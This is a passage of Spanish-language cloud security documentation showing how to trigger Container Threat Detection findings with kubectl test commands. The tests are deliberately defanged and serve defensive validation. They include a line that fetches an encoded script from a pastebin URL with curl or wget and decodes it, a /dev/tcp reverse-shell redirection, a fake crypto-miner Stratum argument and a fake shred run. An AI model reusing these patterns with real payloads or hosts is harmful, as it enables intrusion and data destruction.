Para reducir el ruido, cuando creas un contenedor por primera vez, es posible que Container Threat Detection filtre temporalmente los resultados de Exfiltration: Launch Remote File Copy Tools In Container. Para ver todos los resultados de Exfiltration: Launch Remote File Copy Tools In Container mientras se configura un contenedor, agrega el prefijo ktd-test al nombre del contenedor o del pod, como en el ejemplo.

Impacto: Se quitan datos masivos del disco

Para activar un resultado Impact: Remove Bulk Data From Disk, coloca un objeto binario capaz de borrar o reemplazar datos en tu contenedor y ejecútalo. En este ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Implica copiar el objeto binario /bin/ls y cambiarle el nombre a shred (o una utilidad similar diseñada para la eliminación segura de archivos). Luego, se ejecuta el objeto binario con el nombre cambiado. Esta acción se marca como sospechosa porque imita el comportamiento que se suele observar cuando se intentan quitar grandes cantidades de datos de un disco dentro de un entorno contenedorizado.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Introduce un objeto binario de eliminación de archivos o datos, como shred, y ejecútalo:

    • Nodo x86:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

    • Nodo ARM:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

En este procedimiento de prueba, se debería crear un hallazgo de Impact: Remove Bulk Data From Disk que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para la detección de amenazas a contenedores. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, es posible que Container Threat Detection filtre temporalmente los resultados de Impact: Remove Bulk Data From Disk. Para ver todos los resultados de Impact: Remove Bulk Data From Disk mientras se configura un contenedor, prefija el nombre del contenedor o del pod con ktd-test, como en el ejemplo.

Impacto: Actividad de minería de criptomonedas sospechosa con el Protocolo Stratum

Para activar un resultado Impact: Suspicious crypto mining activity using the Stratum Protocol, se debe ejecutar un objeto binario dentro de un contenedor con argumentos que se asemejan a los que usa el software de minería de criptomonedas que se comunica con el protocolo Stratum. En el ejemplo, se usa la imagen más reciente de Ubuntu 24.04. Copia /bin/ls y cambia el nombre de esa copia a un binario simulado (presumiblemente para simular un minero de criptomonedas). Luego, se ejecuta este binario con argumentos que incluyen stratum+tcp o indicadores de protocolo Stratum similares. Esta actividad se marca como sospechosa porque imita los patrones de comunicación de red del software de minería de criptomonedas en entornos de contenedores.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Introduce un binario de utilidad como curl y ejecútalo con argumentos que se asemejen a los que usa el software de minería de criptomonedas que se comunica con el protocolo Stratum:

    • Nodo x86:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

    • Nodo ARM:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

En este procedimiento de prueba, se debería crear un hallazgo de Impact: Suspicious crypto mining activity using the Stratum Protocol que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activa el nivel Premium o Enterprise de Security Command Center.

Para reducir el ruido, cuando creas un contenedor por primera vez, es posible que Container Threat Detection filtre temporalmente los resultados de Impact: Suspicious crypto mining activity using the Stratum Protocol. Para ver todos los resultados de Impact: Suspicious crypto mining activity using the Stratum Protocol mientras se configura un contenedor, prefija el nombre del contenedor o del pod con ktd-test, como en el ejemplo.

También es posible que veas un hallazgo adicional para el comando bash que ejecutaste en esta prueba. Este comportamiento es normal y puedes ignorar el hallazgo adicional.

Secuencia de comandos maliciosa ejecutada

Para activar el resultado "Secuencia de comandos maliciosa ejecutada", puedes ejecutar la secuencia de comandos en el siguiente procedimiento en tu contenedor.

El procedimiento implementa la última imagen de Ubuntu 24.04, copia una secuencia de comandos que parece maliciosa y, luego, la ejecuta. Para activar una detección, una secuencia de comandos debe parecer maliciosa para el detector.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Ejecuta la siguiente secuencia de comandos en un contenedor nuevo.

    Esta secuencia de comandos de shell de Bourne intercalada se originó en un honeypot. Sin embargo, se modificó para que no ejecute el binario malicioso, por lo que ejecutar la secuencia de comandos no generará actividad maliciosa en tu contenedor. Es posible que se haya quitado el objeto binario de la URL a la que se hace referencia, y si intentas seguirla, se mostrará un error 404. Esta situación es esperable. El intento de descargar, decodificar y ejecutar un objeto binario con una secuencia de comandos intercalada es lo que activa la detección.

    • Nodo x86:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

    • Nodo ARM:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Este procedimiento de prueba crea un resultado ejecutado de secuencias de comandos maliciosas que puedes ver en Security Command Center y en Cloud Logging si configuraste el registro para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.

Se detectó una URL maliciosa

Para activar el resultado "URL maliciosa observada", ejecuta un objeto binario y proporciona una URL maliciosa como argumento.

En el siguiente ejemplo, se implementa una imagen de Ubuntu 24.04 y se ejecuta /bin/curl para acceder a una URL de software malicioso de muestra desde el servicio de Navegación segura.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Ejecuta curl y proporciona una URL maliciosa como argumento:

    • Nodo x86:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

    • Nodo ARM:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Este procedimiento de prueba activa un hallazgo de URL maliciosa observada que puedes ver en Security Command Center y, si configuraste Logging para Container Threat Detection, en Cloud Logging. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center a nivel de la organización.

Shells inversas

Para activar un resultado de shell inverso, inicia un objeto binario con redireccionamiento stdin a un socket conectado a TCP. En este ejemplo, se copia /bin/echo en /tmp/sh y, luego, se inicia /tmp/sh con redireccionamiento al DNS público de Google 8.8.8.8 en el puerto DNS. No se imprime nada cuando ejecutas este ejemplo. Para evitar cualquier inyección de código externo a través de un ataque de intermediarios (MITM), este ejemplo no usa el objeto binario /bin/sh.

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Inicia un objeto binario con el redireccionamiento /bin/echo para el DNS público de Google:

    • Nodo x86:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

    • Nodo ARM:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Esto debería crear una búsqueda de shell inversa que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center a nivel de la organización.

Shell secundario inesperado

Para probar el detector Unexpected Child Shell, puedes crear un árbol de procesos que incluya un proceso de shell secundario.

En el siguiente ejemplo, se crea un árbol de procesos consul->dash, que puede detectar el detector Unexpected Child Shell. Esta prueba es segura porque solo usa objetos binarios integrados. En este ejemplo, se realizan las acciones siguientes:

  1. Crea una copia del proceso sh y asígnale el nombre consul.
  2. Copia el proceso echo y le asigna el nombre dash.
  3. Invoca el proceso dash copiado en el proceso consul copiado.

Para activar un hallazgo de Unexpected Child Shell, haz lo siguiente:

  1. Configura las variables de entorno.

  2. Usa Cloud Shell para acceder al plano de control del clúster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Usa el proceso de consul simulado para invocar un shell simulado:

    • Nodo x86:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

    • Nodo ARM:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Este procedimiento de prueba crea un resultado Unexpected Child Shell que puedes ver en Security Command Center. Si Logging está configurado para la detección de amenazas a contenedores y tienes Security Command Center Premium o Enterprise activado a nivel de la organización, también puedes ver el resultado en Cloud Logging.

¿Qué sigue?